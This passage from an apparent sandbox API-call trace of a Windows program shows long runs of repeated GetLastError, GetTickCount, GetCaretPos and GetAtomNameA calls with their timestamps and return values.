GetLastError () returned 0x0 [0041.377] GetTickCount () returned 0x1146317 [0041.377] GetLastError () returned 0x0 [0041.377] GetTickCount () returned 0x1146317 [0041.377] GetLastError () returned 0x0 [0041.378] GetTickCount () returned 0x1146317 [0041.378] GetLastError () returned 0x0 [0041.378] GetTickCount () returned 0x1146317 [0041.378] GetLastError () returned 0x0 [0041.378] GetTickCount () returned 0x1146317 [0041.378] GetLastError () returned 0x0 [0041.378] GetTickCount () returned 0x1146317 [0041.378] GetLastError () returned 0x0 [0041.378] GetTickCount () returned 0x1146317 [0041.378] GetLastError () returned 0x0 [0041.378] GetTickCount () returned 0x1146317 [0041.378] GetLastError () returned 0x0 [0041.378] GetTickCount () returned 0x1146317 [0041.378] GetLastError () returned 0x0 [0041.378] GetTickCount () returned 0x1146317 [0041.378] GetLastError () returned 0x0 [0041.378] GetTickCount () returned 0x1146317 [0041.378] GetLastError () returned 0x0 [0041.378] GetTickCount () returned 0x1146317 [0041.378] GetLastError () returned 0x0 [0041.378] GetTickCount () returned 0x1146317 [0041.378] GetLastError () returned 0x0 [0041.378] GetTickCount () returned 0x1146317 [0041.378] GetLastError () returned 0x0 [0041.379] GetTickCount () returned 0x1146317 [0041.379] GetLastError () returned 0x0 [0041.379] GetTickCount () returned 0x1146317 [0041.379] GetLastError () returned 0x0 [0041.379] GetTickCount () returned 0x1146317 [0041.379] GetLastError () returned 0x0 [0041.379] GetTickCount () returned 0x1146317 [0041.379] GetLastError () returned 0x0 [0041.379] GetTickCount () returned 0x1146317 [0041.379] GetLastError () returned 0x0 [0041.379] GetTickCount () returned 0x1146317 [0041.379] GetLastError () returned 0x0 [0041.379] GetTickCount () returned 0x1146317 [0041.379] GetLastError () returned 0x0 [0041.379] GetTickCount () returned 0x1146317 [0041.379] GetLastError () returned 0x0 [0041.379] GetTickCount () returned 0x1146317 [0041.379] GetLastError () returned 0x0 [0041.379] GetTickCount () returned 0x1146317 [0041.379] GetLastError () returned 0x0 [0041.379] GetTickCount () returned 0x1146317 [0041.380] GetLastError () returned 0x0 [0041.380] GetTickCount () returned 0x1146317 [0041.380] GetLastError () returned 0x0 [0041.380] GetTickCount () returned 0x1146317 [0041.380] GetLastError () returned 0x0 [0041.380] GetTickCount () returned 0x1146317 [0041.380] GetLastError () returned 0x0 [0041.380] GetTickCount () returned 0x1146317 [0041.380] GetLastError () returned 0x0 [0041.380] GetTickCount () returned 0x1146317 [0041.380] GetLastError () returned 0x0 [0041.380] GetTickCount () returned 0x1146317 [0041.380] GetLastError () returned 0x0 [0041.380] GetTickCount () returned 0x1146317 [0041.380] GetLastError () returned 0x0 [0041.380] GetTickCount () returned 0x1146317 [0041.380] GetLastError () returned 0x0 [0041.380] GetTickCount () returned 0x1146317 [0041.380] GetLastError () returned 0x0 [0041.380] GetTickCount () returned 0x1146317 [0041.380] GetLastError () returned 0x0 [0041.380] GetTickCount () returned 0x1146317 [0041.380] GetLastError () returned 0x0 [0041.380] GetTickCount () returned 0x1146317 [0041.380] GetLastError () returned 0x0 [0041.381] GetTickCount () returned 0x1146317 [0041.381] GetLastError () returned 0x0 [0041.381] GetTickCount () returned 0x1146317 [0041.381] GetLastError () returned 0x0 [0041.381] GetTickCount () returned 0x1146317 [0041.381] GetLastError () returned 0x0 [0041.381] GetTickCount () returned 0x1146317 [0041.381] GetLastError () returned 0x0 [0041.381] GetTickCount () returned 0x1146317 [0041.381] GetLastError () returned 0x0 [0041.381] GetTickCount () returned 0x1146317 [0041.381] GetLastError () returned 0x0 [0041.381] GetTickCount () returned 0x1146317 [0041.381] GetLastError () returned 0x0 [0041.381] GetTickCount () returned 0x1146317 [0041.381] GetLastError () returned 0x0 [0041.381] GetTickCount () returned 0x1146317 [0041.381] GetLastError () returned 0x0 [0041.381] GetTickCount () returned 0x1146317 [0041.381] GetLastError () returned 0x0 [0041.381] GetTickCount () returned 0x1146317 [0041.381] GetLastError () returned 0x0 [0041.381] GetTickCount () returned 0x1146317 [0041.381] GetLastError () returned 0x0 [0041.382] GetTickCount () returned 0x1146317 [0041.382] GetLastError () returned 0x0 [0041.382] GetTickCount () returned 0x1146317 [0041.382] GetLastError () returned 0x0 [0041.382] GetTickCount () returned 0x1146317 [0041.382] GetLastError () returned 0x0 [0041.382] GetTickCount () returned 0x1146317 [0041.382] GetLastError () returned 0x0 [0041.382] GetTickCount () returned 0x1146317 [0041.382] GetLastError () returned 0x0 [0041.382] GetTickCount () returned 0x1146317 [0041.382] GetLastError () returned 0x0 [0041.382] GetTickCount () returned 0x1146317 [0041.382] GetLastError () returned 0x0 [0041.382] GetTickCount () returned 0x1146317 [0041.382] GetLastError () returned 0x0 [0041.382] GetTickCount () returned 0x1146317 [0041.382] GetLastError () returned 0x0 [0041.382] GetTickCount () returned 0x1146317 [0041.382] GetLastError () returned 0x0 [0041.382] GetTickCount () returned 0x1146317 [0041.382] GetLastError () returned 0x0 [0041.382] GetTickCount () returned 0x1146317 [0041.382] GetLastError () returned 0x0 [0041.383] GetTickCount () returned 0x1146317 [0041.383] GetLastError () returned 0x0 [0041.383] GetTickCount () returned 0x1146317 [0041.383] GetLastError () returned 0x0 [0041.383] GetTickCount () returned 0x1146317 [0041.383] GetLastError () returned 0x0 [0041.383] GetTickCount () returned 0x1146317 [0041.383] GetLastError () returned 0x0 [0041.383] GetTickCount () returned 0x1146317 [0041.383] GetLastError () returned 0x0 [0041.383] GetTickCount () returned 0x1146317 [0041.383] GetLastError () returned 0x0 [0041.383] GetTickCount () returned 0x1146317 [0041.383] GetLastError () returned 0x0 [0041.383] GetTickCount () returned 0x1146317 [0041.383] GetLastError () returned 0x0 [0041.383] GetTickCount () returned 0x1146317 [0041.383] GetLastError () returned 0x0 [0041.395] GetTickCount () returned 0x1146327 [0041.395] GetLastError () returned 0x0 [0041.395] GetTickCount () returned 0x1146327 [0041.395] GetLastError () returned 0x0 [0041.395] GetTickCount () returned 0x1146327 [0041.396] GetLastError () returned 0x0 [0041.396] GetTickCount () returned 0x1146327 [0041.396] GetLastError () returned 0x0 [0041.396] GetTickCount () returned 0x1146327 [0041.396] GetLastError () returned 0x0 [0041.396] GetTickCount () returned 0x1146327 [0041.396] GetLastError () returned 0x0 [0041.396] GetTickCount () returned 0x1146327 [0041.396] GetLastError () returned 0x0 [0041.396] GetTickCount () returned 0x1146327 [0041.396] GetLastError () returned 0x0 [0041.396] GetTickCount () returned 0x1146327 [0041.396] GetLastError () returned 0x0 [0041.396] GetTickCount () returned 0x1146327 [0041.396] GetLastError () returned 0x0 [0041.396] GetTickCount () returned 0x1146327 [0041.396] GetLastError () returned 0x0 [0041.396] GetTickCount () returned 0x1146327 [0041.396] GetLastError () returned 0x0 [0041.396] GetTickCount () returned 0x1146327 [0041.396] GetLastError () returned 0x0 [0041.397] GetTickCount () returned 0x1146327 [0041.397] GetLastError () returned 0x0 [0041.397] GetTickCount () returned 0x1146327 [0041.397] GetLastError () returned 0x0 [0041.397] GetTickCount () returned 0x1146327 [0041.397] GetLastError () returned 0x0 [0041.397] GetTickCount () returned 0x1146327 [0041.397] GetLastError () returned 0x0 [0041.397] GetTickCount () returned 0x1146327 [0041.397] GetLastError () returned 0x0 [0041.397] GetTickCount () returned 0x1146327 [0041.397] GetLastError () returned 0x0 [0041.397] GetTickCount () returned 0x1146327 [0041.397] GetLastError () returned 0x0 [0041.397] GetTickCount () returned 0x1146327 [0041.397] GetLastError () returned 0x0 [0041.397] GetTickCount () returned 0x1146327 [0041.397] GetLastError () returned 0x0 [0041.397] GetTickCount () returned 0x1146327 [0041.397] GetLastError () returned 0x0 [0041.397] GetTickCount () returned 0x1146327 [0041.397] GetLastError () returned 0x0 [0041.397] GetTickCount () returned 0x1146327 [0041.398] GetLastError () returned 0x0 [0041.398] GetTickCount () returned 0x1146327 [0041.398] GetLastError () returned 0x0 [0041.398] GetTickCount () returned 0x1146327 [0041.398] GetLastError () returned 0x0 [0041.398] GetTickCount () returned 0x1146327 [0041.398] GetLastError () returned 0x0 [0041.398] GetTickCount () returned 0x1146327 [0041.398] GetLastError () returned 0x0 [0041.398] GetTickCount () returned 0x1146327 [0041.398] GetLastError () returned 0x0 [0041.398] GetTickCount () returned 0x1146327 [0041.398] GetLastError () returned 0x0 [0041.398] GetTickCount () returned 0x1146327 [0041.398] GetLastError () returned 0x0 [0041.398] GetTickCount () returned 0x1146327 [0041.398] GetLastError () returned 0x0 [0041.398] GetTickCount () returned 0x1146327 [0041.398] GetLastError () returned 0x0 [0041.398] GetTickCount () returned 0x1146327 [0041.398] GetLastError () returned 0x0 [0041.398] GetTickCount () returned 0x1146327 [0041.398] GetLastError () returned 0x0 [0041.398] GetTickCount () returned 0x1146327 [0041.398] GetLastError () returned 0x0 [0041.399] GetTickCount () returned 0x1146327 [0041.399] GetLastError () returned 0x0 [0041.399] GetTickCount () returned 0x1146327 [0041.399] GetLastError () returned 0x0 [0041.399] GetTickCount () returned 0x1146327 [0041.399] GetLastError () returned 0x0 [0041.399] GetTickCount () returned 0x1146327 [0041.399] GetLastError () returned 0x0 [0041.399] GetTickCount () returned 0x1146327 [0041.399] GetLastError () returned 0x0 [0041.400] GetTickCount () returned 0x1146336 [0041.400] GetLastError () returned 0x0 [0041.400] GetTickCount () returned 0x1146336 [0041.400] GetLastError () returned 0x0 [0041.400] GetTickCount () returned 0x1146336 [0041.400] GetLastError () returned 0x0 [0041.400] GetTickCount () returned 0x1146336 [0041.400] GetLastError () returned 0x0 [0041.400] GetTickCount () returned 0x1146336 [0041.400] GetLastError () returned 0x0 [0041.400] GetTickCount () returned 0x1146336 [0041.400] GetLastError () returned 0x0 [0041.400] GetTickCount () returned 0x1146336 [0041.400] GetLastError () returned 0x0 [0041.400] GetTickCount () returned 0x1146336 [0041.400] GetLastError () returned 0x0 [0041.400] GetTickCount () returned 0x1146336 [0041.401] GetLastError () returned 0x0 [0041.401] GetTickCount () returned 0x1146336 [0041.401] GetLastError () returned 0x0 [0041.401] GetTickCount () returned 0x1146336 [0041.401] GetLastError () returned 0x0 [0041.401] GetTickCount () returned 0x1146336 [0041.401] GetLastError () returned 0x0 [0041.401] GetTickCount () returned 0x1146336 [0041.401] GetLastError () returned 0x0 [0041.401] GetTickCount () returned 0x1146336 [0041.401] GetLastError () returned 0x0 [0041.401] GetTickCount () returned 0x1146336 [0041.401] GetLastError () returned 0x0 [0041.401] GetTickCount () returned 0x1146336 [0041.401] GetLastError () returned 0x0 [0041.401] GetTickCount () returned 0x1146336 [0041.401] GetLastError () returned 0x0 [0041.401] GetTickCount () returned 0x1146336 [0041.401] GetLastError () returned 0x0 [0041.401] GetTickCount () returned 0x1146336 [0041.402] GetLastError () returned 0x0 [0041.402] GetTickCount () returned 0x1146336 [0041.402] GetLastError () returned 0x0 [0041.402] GetTickCount () returned 0x1146336 [0041.402] GetLastError () returned 0x0 [0041.402] GetTickCount () returned 0x1146336 [0041.402] GetLastError () returned 0x0 [0041.402] GetTickCount () returned 0x1146336 [0041.402] GetLastError () returned 0x0 [0041.402] GetTickCount () returned 0x1146336 [0041.402] GetLastError () returned 0x0 [0041.402] GetTickCount () returned 0x1146336 [0041.402] GetLastError () returned 0x0 [0041.402] GetTickCount () returned 0x1146336 [0041.402] GetLastError () returned 0x0 [0041.402] GetTickCount () returned 0x1146336 [0041.402] GetLastError () returned 0x0 [0041.402] GetTickCount () returned 0x1146336 [0041.402] GetLastError () returned 0x0 [0041.403] GetTickCount () returned 0x1146336 [0041.403] GetLastError () returned 0x0 [0041.403] GetTickCount () returned 0x1146336 [0041.403] GetLastError () returned 0x0 [0041.403] GetTickCount () returned 0x1146336 [0041.403] GetLastError () returned 0x0 [0041.403] GetTickCount () returned 0x1146336 [0041.403] GetLastError () returned 0x0 [0041.403] GetTickCount () returned 0x1146336 [0041.403] GetLastError () returned 0x0 [0041.403] GetTickCount () returned 0x1146336 [0041.403] GetLastError () returned 0x0 [0041.403] GetTickCount () returned 0x1146336 [0041.403] GetLastError () returned 0x0 [0041.403] GetTickCount () returned 0x1146336 [0041.403] GetLastError () returned 0x0 [0041.403] GetTickCount () returned 0x1146336 [0041.403] GetLastError () returned 0x0 [0041.403] GetTickCount () returned 0x1146336 [0041.403] GetLastError () returned 0x0 [0041.403] GetTickCount () returned 0x1146336 [0041.404] GetLastError () returned 0x0 [0041.404] GetTickCount () returned 0x1146336 [0041.404] GetLastError () returned 0x0 [0041.404] GetTickCount () returned 0x1146336 [0041.404] GetLastError () returned 0x0 [0041.404] GetTickCount () returned 0x1146336 [0041.404] GetLastError () returned 0x0 [0041.404] GetTickCount () returned 0x1146336 [0041.404] GetLastError () returned 0x0 [0041.404] GetTickCount () returned 0x1146336 [0041.404] GetLastError () returned 0x0 [0041.404] GetTickCount () returned 0x1146336 [0041.404] GetLastError () returned 0x0 [0041.404] GetTickCount () returned 0x1146336 [0041.404] GetLastError () returned 0x0 [0041.404] GetTickCount () returned 0x1146336 [0041.404] GetLastError () returned 0x0 [0041.404] GetTickCount () returned 0x1146336 [0041.404] GetLastError () returned 0x0 [0041.404] GetTickCount () returned 0x1146336 [0041.404] GetLastError () returned 0x0 [0041.404] GetTickCount () returned 0x1146336 [0041.405] GetLastError () returned 0x0 [0041.405] GetTickCount () returned 0x1146336 [0041.405] GetLastError () returned 0x0 [0041.405] GetTickCount () returned 0x1146336 [0041.405] GetLastError () returned 0x0 [0041.405] GetTickCount () returned 0x1146336 [0041.405] GetLastError () returned 0x0 [0041.405] GetTickCount () returned 0x1146336 [0041.405] GetLastError () returned 0x0 [0041.405] GetTickCount () returned 0x1146336 [0041.405] GetLastError () returned 0x0 [0041.405] GetTickCount () returned 0x1146336 [0041.405] GetLastError () returned 0x0 [0041.405] GetTickCount () returned 0x1146336 [0041.405] GetLastError () returned 0x0 [0041.405] GetTickCount () returned 0x1146336 [0041.405] GetLastError () returned 0x0 [0041.406] GetTickCount () returned 0x1146336 [0041.406] GetLastError () returned 0x0 [0041.406] GetTickCount () returned 0x1146336 [0041.406] GetLastError () returned 0x0 [0041.406] GetTickCount () returned 0x1146336 [0041.406] GetLastError () returned 0x0 [0041.406] GetTickCount () returned 0x1146336 [0041.406] GetLastError () returned 0x0 [0041.406] GetTickCount () returned 0x1146336 [0041.406] GetLastError () returned 0x0 [0041.406] GetTickCount () returned 0x1146336 [0041.406] GetLastError () returned 0x0 [0041.406] GetTickCount () returned 0x1146336 [0041.406] GetLastError () returned 0x0 [0041.406] GetTickCount () returned 0x1146336 [0041.406] GetLastError () returned 0x0 [0041.406] GetTickCount () returned 0x1146336 [0041.406] GetLastError () returned 0x0 [0041.406] GetTickCount () returned 0x1146336 [0041.406] GetLastError () returned 0x0 [0041.406] GetTickCount () returned 0x1146336 [0041.406] GetLastError () returned 0x0 [0041.406] GetTickCount () returned 0x1146336 [0041.407] GetLastError () returned 0x0 [0041.407] GetTickCount () returned 0x1146336 [0041.407] GetLastError () returned 0x0 [0041.407] GetTickCount () returned 0x1146336 [0041.407] GetLastError () returned 0x0 [0041.407] GetTickCount () returned 0x1146336 [0041.407] GetLastError () returned 0x0 [0041.407] GetTickCount () returned 0x1146336 [0041.407] GetLastError () returned 0x0 [0041.407] GetTickCount () returned 0x1146336 [0041.407] GetLastError () returned 0x0 [0041.407] GetTickCount () returned 0x1146336 [0041.407] GetLastError () returned 0x0 [0041.407] GetTickCount () returned 0x1146336 [0041.407] GetLastError () returned 0x0 [0041.407] GetTickCount () returned 0x1146336 [0041.407] GetLastError () returned 0x0 [0041.407] GetTickCount () returned 0x1146336 [0041.407] GetLastError () returned 0x0 [0041.407] GetTickCount () returned 0x1146336 [0041.407] GetLastError () returned 0x0 [0041.408] GetTickCount () returned 0x1146336 [0041.408] GetLastError () returned 0x0 [0041.408] GetTickCount () returned 0x1146336 [0041.408] GetLastError () returned 0x0 [0041.408] GetTickCount () returned 0x1146336 [0041.408] GetLastError () returned 0x0 [0041.408] GetTickCount () returned 0x1146336 [0041.408] GetLastError () returned 0x0 [0041.408] GetTickCount () returned 0x1146336 [0041.408] GetLastError () returned 0x0 [0041.408] GetTickCount () returned 0x1146336 [0041.408] GetLastError () returned 0x0 [0041.408] GetTickCount () returned 0x1146336 [0041.408] GetLastError () returned 0x0 [0041.408] GetTickCount () returned 0x1146336 [0041.408] GetLastError () returned 0x0 [0041.408] GetTickCount () returned 0x1146336 [0041.408] GetLastError () returned 0x0 [0041.408] GetTickCount () returned 0x1146336 [0041.408] GetLastError () returned 0x0 [0041.408] GetTickCount () returned 0x1146336 [0041.408] GetLastError () returned 0x0 [0041.408] GetTickCount () returned 0x1146336 [0041.409] GetLastError () returned 0x0 [0041.409] GetTickCount () returned 0x1146336 [0041.409] GetLastError () returned 0x0 [0041.409] GetTickCount () returned 0x1146336 [0041.409] GetLastError () returned 0x0 [0041.409] GetTickCount () returned 0x1146336 [0041.409] GetLastError () returned 0x0 [0041.409] GetTickCount () returned 0x1146336 [0041.409] GetLastError () returned 0x0 [0041.409] GetTickCount () returned 0x1146336 [0041.409] GetLastError () returned 0x0 [0041.409] GetTickCount () returned 0x1146336 [0041.409] GetLastError () returned 0x0 [0041.409] GetTickCount () returned 0x1146336 [0041.409] GetLastError () returned 0x0 [0041.409] GetTickCount () returned 0x1146336 [0041.409] GetLastError () returned 0x0 [0041.409] GetTickCount () returned 0x1146336 [0041.409] GetLastError () returned 0x0 [0041.409] GetTickCount () returned 0x1146336 [0041.409] GetLastError () returned 0x0 [0041.409] GetTickCount () returned 0x1146336 [0041.409] GetLastError () returned 0x0 [0041.409] GetTickCount () returned 0x1146336 [0041.409] GetLastError () returned 0x0 [0041.410] GetTickCount () returned 0x1146336 [0041.410] GetLastError () returned 0x0 [0041.410] GetTickCount () returned 0x1146336 [0041.410] GetLastError () returned 0x0 [0041.410] GetTickCount () returned 0x1146336 [0041.410] GetLastError () returned 0x0 [0041.410] GetTickCount () returned 0x1146336 [0041.410] GetLastError () returned 0x0 [0041.410] GetTickCount () returned 0x1146336 [0041.410] GetLastError () returned 0x0 [0041.410] GetTickCount () returned 0x1146336 [0041.410] GetLastError () returned 0x0 [0041.410] GetTickCount () returned 0x1146336 [0041.410] GetLastError () returned 0x0 [0041.410] GetTickCount () returned 0x1146336 [0041.410] GetLastError () returned 0x0 [0041.410] GetTickCount () returned 0x1146336 [0041.410] GetLastError () returned 0x0 [0041.410] GetTickCount () returned 0x1146336 [0041.410] GetLastError () returned 0x0 [0041.410] GetTickCount () returned 0x1146336 [0041.411] GetLastError () returned 0x0 [0041.411] GetTickCount () returned 0x1146336 [0041.411] GetLastError () returned 0x0 [0041.411] GetTickCount () returned 0x1146336 [0041.411] GetLastError () returned 0x0 [0041.411] GetTickCount () returned 0x1146336 [0041.411] GetLastError () returned 0x0 [0041.411] GetTickCount () returned 0x1146336 [0041.411] GetLastError () returned 0x0 [0041.411] GetTickCount () returned 0x1146336 [0041.411] GetLastError () returned 0x0 [0041.411] GetTickCount () returned 0x1146336 [0041.411] GetLastError () returned 0x0 [0041.411] GetTickCount () returned 0x1146336 [0041.411] GetLastError () returned 0x0 [0041.411] GetTickCount () returned 0x1146336 [0041.411] GetLastError () returned 0x0 [0041.411] GetTickCount () returned 0x1146336 [0041.411] GetLastError () returned 0x0 [0041.411] GetTickCount () returned 0x1146336 [0041.411] GetLastError () returned 0x0 [0041.411] GetTickCount () returned 0x1146336 [0041.411] GetLastError () returned 0x0 [0041.412] GetTickCount () returned 0x1146336 [0041.412] GetLastError () returned 0x0 [0041.571] lstrlenA (lpString="") returned 0 [0041.572] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.572] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.572] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.572] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.572] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.572] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.572] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.572] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.573] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.573] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.573] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.573] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.573] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.573] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.573] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.573] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.573] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.573] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.573] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.573] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.573] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.573] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.573] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.573] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.573] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.573] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.573] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.574] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.574] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.574] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.574] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.574] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.574] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.574] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.574] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.574] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.574] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.574] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.574] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.574] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.574] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.574] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.574] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.574] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.574] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.574] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.575] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.575] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.575] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.575] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.575] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.575] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.575] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.575] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.575] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.575] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.575] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.575] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.575] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.575] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.575] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.575] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.575] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.576] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.576] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.576] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.576] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.576] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.576] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.576] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.576] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.576] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.576] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.576] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.576] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.576] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.576] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.576] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.576] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.576] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.576] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.576] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.576] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.577] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.577] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.577] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.577] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.577] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.577] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.577] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.577] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.577] GetAtomNameA (in: nAtom=0x0, 